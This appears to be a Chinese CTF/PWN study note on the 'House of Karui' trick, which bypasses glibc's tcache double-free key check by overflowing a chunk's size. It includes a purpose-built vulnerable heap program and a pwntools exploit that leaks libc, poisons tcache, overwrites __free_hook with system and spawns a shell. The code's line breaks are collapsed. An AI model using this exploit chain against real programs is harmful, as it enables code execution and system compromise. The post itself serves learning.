当前位置: 首页 > news >正文

【我的 PWN 学习手札】House Of Karui —— tcache key 绕过手法

目录

前言

一、House of Karui

二、测试与模板


前言

早期版本的 tcachebin 由于毫无保护,导致攻击利用非常容易,成为重灾区。tcache dup,也即 tcachebin 中的 double free 利用手法,是攻击者常常选用的攻击方式。然而,在glibc-2.29开始,添加了对 tcache key,对 double free 进行了检查。

本篇介绍的 House of Karui 即是一种非常简单的通过溢出来实现绕过,造成double free的方法。


一、House of Karui

double free 两次同一个 tcache 范围的 chunk,会触发:

如果同一个 chunk 被链到同一个 tcachebin 中,那么就会报如上错误。其原理是,第一次释放时进入 tcachebin 中,chunk 会被写入一个 key,如果某一个 chunk 正在被释放,就会遍历对应的整条 tcachebin 链,如果发现同一个 chunk,则报错。

那么我们只需要让这一个 chunk 链入不同的 tcache 即可。怎么实现?——通过溢出(一般是这种情形下),将该 chunk 的 size 进行修改,再次 free 时就会进入不同的 tcachebin 中,也就规避了检查到同一个 chunk。

接下来就是正常申请堆块,然后更改其 next 指针,实现 tcache poisoning,任意地址 malloc 

二、测试与模板

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>char *chunk_list[0x100];void menu() {puts("1. add chunk");puts("2. delete chunk");puts("3. edit chunk");puts("4. show chunk");puts("5. exit");puts("choice:");
}int get_num() {char buf[0x10];read(0, buf, sizeof(buf));return atoi(buf);
}void add_chunk() {puts("index:");int index = get_num();puts("size:");int size = get_num();chunk_list[index] = malloc(size);
}void delete_chunk() {puts("index:");int index = get_num();free(chunk_list[index]);
}void edit_chunk() {puts("index:");int index = get_num();puts("length:");int length = get_num();puts("content:");read(0, chunk_list[index], length);
}void show_chunk() {puts("index:");int index = get_num();puts(chunk_list[index]);
}int main() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);while (1) {menu();switch (get_num()) {case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:exit(0);default:puts("invalid choice.");}}
}
from pwn import *
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
context.arch=elf.arch
context.log_level='debug'io=process('./pwn')
def add(index,size):io.sendlineafter(b'choice:\n',b'1')io.sendlineafter(b'index:\n',str(index).encode())io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):io.sendlineafter(b'choice:\n',b'2')io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):io.sendlineafter(b'choice:\n',b'3')io.sendlineafter(b'index',str(index).encode())io.sendlineafter(b'length:\n',str(length).encode())io.sendafter(b'content:\n',content)
def show(index):io.sendlineafter(b'choice:\n',b'4')io.sendlineafter(b'index:\n',str(index).encode())gdb.attach(io)
# leak libc
add(0,0x410)
add(1,0x10)
delete(0)
show(0)
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x7591b55b6be0+0x7591b5200000
libc.address=libc_base
success(hex(libc_base))
add(0,0x410)# house of karui
add(0,0x10)
add(1,0x18)
add(2,0x10)
delete(0)
delete(2)
edit(1,0x20,b'a'*0x18+p64(0x30))
delete(2)
add(0,0x20)
edit(0,0x8,p64(libc.sym['__free_hook']))
add(1,0x18)
add(1,0x18)
edit(1,0x8,p64(libc.sym['system']))
edit(0,0x8,b'/bin/sh\x00')
delete(0)io.interactive()


http://www.mrgr.cn/news/32920.html

相关文章:

  • Day46 | 动态规划 :线性DP 最长递增子序列
  • 内网对抗-信息收集篇SPN扫描DC定位角色区域定性服务探针安全防护凭据获取
  • vue3设置第三方组件 样式::v-deep
  • 【算法一周目】双指针(2)
  • 万字长文解读深度学习——ViT、ViLT、DiT
  • D63【python 接口自动化学习】- python基础之数据库
  • python多继承 - 子类指定父类
  • 基于SpringBoot+Vue的考研百科网站系统
  • 线程池实现的是什么接口
  • 如何安装部署kafka
  • 色彩管理中的Gamma值的理解
  • [Redis面试高频] - zset的底层数据结构
  • 【HTTP】构造HTTP请求和状态码
  • 基于stm32物联网身体健康检测系统
  • 一篇进阶Python深入理解函数之高阶函数与函数式编程
  • 我们如何通过两个关键测试原则,进行自动化 Kubernetes 配置和Secret测试
  • [全网最全]2024华为杯研赛CDEF题成品参考论文+每小问解题代码+可视化结果!
  • 测试面试题:一个项目从0到1,你需要做哪些工作?工作的重点是什么?
  • 2024华为杯E题:高速公路应急车道紧急启用模型
  • 功能测试干了三年,快要废了。。。
  • Global Attention Decoder for Chinese Spelling Error Correction(ACL2021)
  • 【数据结构初阶】链式二叉树接口实现超详解
  • 使用Renesas R7FA8D1BH (Cortex®-M85)和微信小程序App数据传输
  • 大模型终极指南:零基础到精通,一文搞定!
  • Qt窗口——对话框
  • 61. 旋转链表【 力扣(LeetCode) 】